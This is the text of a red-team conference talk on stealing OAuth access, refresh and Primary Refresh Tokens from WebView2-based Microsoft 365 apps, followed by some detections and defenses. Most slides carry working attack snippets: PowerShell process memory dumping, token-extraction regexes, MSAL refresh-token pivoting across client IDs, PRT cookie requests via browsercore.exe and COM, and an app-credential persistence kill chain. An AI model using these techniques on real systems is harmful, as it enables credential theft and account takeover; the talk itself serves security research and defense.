

Beyond LSASS Cutting-Edge Techniques for Undetectable Threat Emulation

Priyank Nigam

Microsoft Red Team







- Senior Red Teamer @Microsoft
- Bug Bounties/Responsible Disclosures
- Research Interests
 - AppSec (Web/mobile/AI/LLMs)
 - IoT
 - Network Sec
 - MS Azure

• Senior Blue Teamer @Home

• My toddlers -> Learn from folks who know no "rules" -> Just like real-world Threat actors! 🙂







- Windows post-exploitation landscape
- Protected (aka "noisy") Objects
- WebView-based M365 apps
 - Mem dump
 - File Storage
- Lateral movement
- Some Defenses/detections





Initial Access Post-Exploitation (stay <u>undetectable*</u>) as unprivileged user

Lateral Movement (Entra, etc.)

*For as long as possible





Means to an end -

- Credential Harvesting (LSASS), registry, or configuration file)
- Privilege Escalation (local/network)
- Lateral Movement (across network)

Endgame

- Persistence & further Recon
- Data Exfiltration (One time or periodically or forever)






- **OAuth 2.0** : OAuth 2.0 is an authorization framework allowing third-party applications to access resources on behalf of a user without sharing their credentials.
- Access Tokens: These are short-lived tokens issued by the authorization server that grant the client temporary access to the user's protected resources.
- **Refresh Tokens**: Unlike access tokens, refresh tokens are longlived and are used to request new access tokens when the current one expires, without requiring the user to reauthenticate.








Credential Dumping



- LSASS Dump:
 - The Local Security Authority Subsystem Service (LSASS) is a critical Windows process responsible for enforcing security policies, authenticating users, and managing access tokens.
 - EDR software loves this* (Defender detects at least 15+ attack methods) and keeps getting better
- Browser Cookies File
 - DPAPI Encrypted -> Detections
- Lucky? Find in plaintext files





*https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/ Priyank Nigam - Insomni'Hack 2025





- Rely on WebView2 -> MS Edge -> Chromium as the rendering engine
- Eg Outlook, Teams, Copilot, OneDrive



• Idea is to attack M365 apps, fetch ESTS token/PRT as well*

 st the only thing preventing further access is the Conditional Access policy

Also applicable to "most" browsers..




Problem – Multiple subprocesses

- **Browser Process:** Manages the overall WebView2 instance.
- **Renderer Processes:** One or more processes for rendering web content, often one per domain or frame.

• **GPU Process:** Handles graphics and rendering tasks.

• **Utility Processes:** For tasks like network communication, audio, or other services.

•Eg: ~7 sub-processes per app



On a typical Win 11 machine



>> Get-Process | Where-Object { \$_.ProcessName like "*webview*" } | Measure-Object

Count : 29

CommandLine args

"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\133.0.3065.92\msedgewebview 2.exe"

--type=utility

- --utility-sub-type=storage.mojom.NetworkService
- --service-sandbox-type=service

--user-data-

dir="C:\Users\[targetuser]\AppData\Local\Packages\MSTeams_8wekyb3d8 bbwe\LocalCache\Microsoft\MSTeams\EBWebView"

--webview-exe-name=ms-teams.exe

--webview-exe-version=[version]

--embedded-browser-webview=1 --embedded-browser-webview-dpiawareness=2

--enable-features=AutofillReplaceCachedWebElementsByRendererIds

Chromium utilities



 Mojo is a collection of runtime libraries providing a platform-agnostic abstraction of common IPC primitives, a message IDL format, and a bindings library with code generation for multiple target languages to facilitate convenient message passing across arbitrary inter- and intra-process boundaries.

TLDR - The browser creates the utility process and asks it to launch these services¹

If the network service crashes, it gets restarted in a new utility process. The goal is for the failure to be mostly recoverable, which is advantageous for us

1 https://chromium.googlesource.com/chromium/src/+/HEAD/services/network/README.md

Filter by utility type

>> Get-WmiObject Win32_Process | Where-Object { \$.CommandLine -match "storageservice" } | Select-Object -Property ProcessId, Name, CommandLine

ProcessId Name

CommandLine

6500 msedge.exe 20120 chrome.exe 26904 msedgewebview2.exe 45532 msedgewebview2.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --ser.. "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sa. 23320 Creative Cloud UI Helper.exe "C:\Program Files\Common Files\Adobe\Adobe Desktop Common\HEX\Creative Cloud UI Helper.exe" --type=utility --utility-sub-type=storage.mojom.Stor. "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\133.0.3065.92\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.Stor. "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\133.0.3065.92\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.Stor.

Count :5

Same for networkStorage subtype





TLDR

- Target StorageService for local/session storage
 - Storage has all tokens, valid at least one hour.
 - Refresh token to get additional tokens.

https://chromium.googlesource.com/chromium/src/+/HEAD/services/network/cookie_manager.cc



Approach



• Create process dump using Dbghelp::MiniDumpWriteDump

MiniDumpType = 0x00061907

\$tmp = [k32.api]::MiniDumpWriteDump(\$ProcHandle, \$p, \$FileStreamObject.Handle, \$MiniDumpType, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

AlertName	Activity that might lead to credential and token theft				
Category	Execution				





Add-Type -TypeDefinition @"using System; using System.Runtime.InteropServices; public class MiniDump{ [DllImport("dbghelp.dll", SetLastError = true)] public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, uint DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); }"0; \$Process = Get-Process -Name "*webview*" \$ProcessId = \$Process.Id\$ProcessHandle = \$Process.Handle\$File = [System.IO.File]::Create("C:\path\to\dump.dmp")[Mini Dump]::MiniDumpWriteDump(\$ProcessHandle, \$ProcessId, \$File.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) \$File.Close()



- Procdump is a sysadmin tool too, which is usually not monitored.
- Minidump file sizes and contents vary widely based on the program, the dumping application, and selected options, ranging from detailed memory and handle tables to minimal information like a single thread or stack-referenced modules.
- Despite its name, some minidump files can be larger and more comprehensive than full user-mode dump files.

Post-Processing on the target



\$jwtRegex = '\beyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_=]+\b'
\$audiences = "https://ic3.teams.office.com" //Intelligent Conversation
and Communications Cloud
\$audiences = "https://outlook.office.com/", "https://api.office.net"
\$audiences = @("https://graph.microsoft.com/")

Once we got a hit -> exfil to Red Team Infra

Drawbacks – Access tokens were valid only for an hour.

Consider fetching RTs, but they are opaque and cannot be mapped to a aud. Regex - [0-9]\.A.*





• Typical Win11 target, from dumping ~7 processes to 2 -> 750seconds ->116 seconds







- The claims are unencrypted, but signed. So you know which API to target.
- Only valid for specific service, with Graph being most powerful for information stealing.
- Eg-https://graph.Microsoft.com/

But if you fetch a refresh token..



- Then any service within a "family" can be targeted..usually M365 apps.
- Family of client ids The undocumented "foci" flag within the auth code grant flow

az_ps_client = msal.PublicClientApplication("1950a258-227b-4e31-a9cf-717495945fc2") # ID for Azure Powershell


device_flow = az_ps_client.initiate_device_flow(
 scopes=["https://graph.microsoft.com/.default"])

az_AT =
az_ps_client.acquire_token_by_device_flow(device_flow)

```
>>> az AT.get("scope")
```

'email openid profile
https://graph.microsoft.com/AuditLog.Read.All
https://graph.microsoft.com/Directory.AccessAsUser.All
https://graph.microsoft.com/.default'







Get AT for a different client & scope

>>> Papps_AT= (az_ps_client
.acquire_token_by_refresh_token(az_AT.get("refresh_token"),
scopes=["https://service.powerapps.com/.default"],))

>>> Papps_AT.get("scope")
'https://service.powerapps.com/user_impersonation
https://service.powerapps.com/.default'



teams_client = msal.PublicClientApplication("1fec8e78-bce4-4aaf-ab1b-5451cc387264")

teams_AT=
(teams_client.acquire_token_by_refresh_token(az_AT.get("refresh_token"),
scopes=["https://service.powerapps.com/.default"],))

- https://github.com/dirkjanm/ROADtools High Detection Rate!
- Research https://github.com/secureworks/family-of-client-ids-research



>>> teams_AT=
(teams_client.acquire_token_by_refresh_token(azure_management_AT.get("refre
sh token"), scopes=["https://vault.azure.net/.default"],))

>>> teams_AT
{'token_type': 'Bearer', 'scope':
'https://vault.azure.net/user_impersonation
https://vault.azure.net/.default', 'expires_in': 3988, 'ext_expires_in':
3988, 'access token': 'eyJ0eXAiOiJKV





- Use AT for MS bing Search (mobile) to interact with Powerapps REST API as the same user.
- Each Env is different, and some 1P apps are trusted to "share" tokens.





WebView2 File Storage

Priyank Nigam - Insomni'Hack 2025

%LOCALAPPDATA%/Packages



For WebView2-based app, will always contain the Edge profle. Eg – Msteams –

Contains the Cookies - ~/Network Key to decrypt the file - ../Local State

Warning – DPAPI Call might be detected!

С	Ð	>		Local	Cache	>	Microsoft	>	MSTeams	>	EBWebView	>
C	Ĩ	A	Þ	R	Ŵ		∱↓ Sort ~		View ~	••••		
	Name						^					
	Amo	untEx	tractio	onHeuris	ticRege	kes						
	AutoLaunchProtocolsComponent											
	BrowserMetrics											
	CertificateRevocation											
	component_crx_cache											
	Crash	npad										
	Defa	ult										
	Edge	Clou	ıd Con	nfig								
	Grap	hiteD	awnC	ache								
	GrSh	ader	Cache									
	hyph	en-da	ata									
	Origi	nTria	ls									
	PKIMetadata											
	Shad	erCad	che									
	Smar	tScre	en									
	Spee	ch Re	ecogni	ition								





- .ldb files contain some human-readable text that is often mangled and hard to interpret, and this structure is commonly found in various similar artifacts.
- LevelDB is a fast key-value storage library by Google with limited operations, built-in Snappy compression, and designed for speed, offering less features but higher performance than SQLite.

Name ^	Туре	Date modified	Size	
🗹 💶 000005.Idb	Microsoft Access Record-Locking Informat	5/12/2023 11:57 AM	23 KB	
000222.ldb	Microsoft Access Record-Locking Informat	3/3/2025 4:05 PM	119 KB	
000224.ldb	Microsoft Access Record-Locking Informat	3/3/2025 5:23 PM	75 KB	
000225.log	Text Document	3/4/2025 12:25 AM	69 KB	
a [®] 000226.ldb	Microsoft Access Record-Locking Informat	3/3/2025 6:05 PM	64 KB	
CURRENT	File	1/19/2023 2:51 PM	1 KB	
LOCK	File	1/19/2023 2:51 PM	0 KB	
LOG	File	3/3/2025 6:05 PM	2 KB	
LOG.old	OLD File	3/3/2025 10:29 AM	7 KB	
MANIFEST-000001	File	3/3/2025 6:05 PM	24 KB	





File Edit View

- Offline dump -
- https://github.com/mdawsonuk/LevelDBDumper





Primary Refresh Tokens

Priyank Nigam - Insomni'Hack 2025






- It is a token that enables users to sign in once on their Azure AD connected device and then automatically sign in to Azure AD connected resources.
- Keys are stored within TPM
- All major browser now support SSO natively. (Earlier chrome did it via an extension, which has been reverse engineered since then)

Chrome Extension (Still present)

chrome web store		Q Search extensi	ons and themes								
Discover Extensions Themes											
Microsoft Single Sign On											
2.5 ★ (738 ratings) Extension Workflow & Planning	34,000,000 use	ers									
		antly access accounts added to Windows acOS without re-entering user credentials									
	Before	е	After								
<		in	Microsoft Pick an account Bigging Satah Jane Comested to Winfows Satah Jane Satah Jane	>							
		Next	Sand-Land for Windows								

>



• Hijack the comms to obtain the PRT Tokens -

- X-Ms-Refreshtokencredential
- X-Ms-Devicecredential

```
process = subprocess.Popen([r"C:\Windows\BrowserCore\browsercore.exe"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
inv = {}
inv['method'] = 'GetCookies'
inv['sender'] = "https://login.microsoftonline.com"
inv['uri'] =
'https://login.microsoftonline.com/common/oauth2/authorize?client_id=4345a7b9-
9a63-4910-a426-
35363201d503&response_mode=form_post&response_type=code+id_token&scope=openid+pr
ofile_
```





• Directly interact with the COM object (~50 lines)

CLSIDFromString(L"{A9927F85-A304-4390-8B23-A75F1C668600}", &CLSID ProofOfPossessionCookieInfoManager);

IIDFromString(L"{CDAECE56-4EDF-43DF-B113-88E4556FA1BB}", &IID_IProofOfPossessionCookieInfoManager);

 https://github.com/leechristensen/RequestAADRefreshToken/blob/master/RequestAADRefr eshTokenCpp/main.cpp



- > .\getprt.exe
- Name: x-ms-RefreshTokenCredential
- Data: eyJhbGciOiJIUzI1NiIsICJrZGZfdmVyIjoyL [REDACTED]

- Name: x-ms-DeviceCredential
- Data: eyJhbGciOiJSUzI1NiIsICJ0eXAiOiJKV1QiLCAieDVjIjoiTU [REDACTED]

Exchange this for a ESTH Auth





GET

/organizations/oauth2/v2.0/aut horize?client id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect uri=http s%3a%2f%2fm365.cloud.microsoft %2flandingv2&response type=cod e+id token&scope=openId+profil e+https%3a%2f%2fwww.office.com %2


X-Ms-Refreshtokencredential: eyJhbGciOiJIU

X-Ms-Devicecredential: eyJhbGciOiJSUzI1NiIsICJ0eXAiOi JKV1QiLCAieDV HTTP/2 200 OK Cache-Control: no-store, no-cache Content-Type: text/html; charset=utf-8 Set-Cookie: ESTSAUTHPERSISTENT=1.ARoAv4j5 Set-Cookie: ESTSAUTH=1.ARoAv4j5cvGGr0GRq

...omitted for brevity ...

<body><form method="POST" name="hiddenform"
action="https://microsoft-onmicrosoftcom.access.mcas.ms/aad_login"><input
type="hidden" name="id_token"
value="eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6I</pre>





Lateral Movement

Priyank Nigam - Insomni'Hack 2025



- As discussed, multi-resource refresh tokens to move across family of M365 apps as the same user
- Deploy malicious apps, and launch spear-phishing campaigns.

Misconfigurations



- Excessive Permissions Elevate to Contributor/Owner Roles within resource groups
- Lack of MFA
- Cross-tenant Sync Setup B2B Collab and exploit the trust relationship

Example Kill chain



- From a regular user, generate a access token scoped for azure portal.
- List Azure resources, locate an admin-consented app for elevated permissions
- Add a new credential to the application.
- Use the client credential grant flow to obtain an access token for the targeted tenant by passing the client (application) ID, the client secret (the malicious credential), and the tenant ID.
- Maintain persistence to the data based on the app permissions (emails, files etc.)



Some Defenses

Priyank Nigam - Insomni'Hack 2025

Enable detection on process creation/ file writes



- Enumerate all mem dump types from popular tools and baseline for anomalous behavior by corelating event ids.
- Not fool-proof, specially for userland processes, but can scope non-dev machines into this rule
- Monitor processes accessing leveldb files

Attack Surface Reduction Rules

An EDR solution should provide specific rules for memory dump for specific process, and detect/block suspicious behavior from certain processes

https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference

Detect creation of external identities

- External identities which are linked to current tenant.
- Monitor Cross-Tenant Settings

Conditional Access: Token protection

- Token protection reduces the risk of token theft by ensuring tokens are only usable from the intended device, preventing impersonation attacks.
- It establishes a cryptographically secure connection between the token and the device (client secret), rendering the token useless without the client secret.
- When users register Windows 10 or newer devices in Microsoft Entra ID, policies ensure only bound sign-in session tokens (PRTs) are used, enhancing security for accessing resources.

https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection

?

Any questions?

Or should I just assume you're all thoroughly confused?

Let's connect!

https://linkedin.com/in/priyanknigam Or scan below:



Priyank Nigam - Insomni'Hack 2025



Slides will be published later: https://github.com/priyankn/Talks-Publications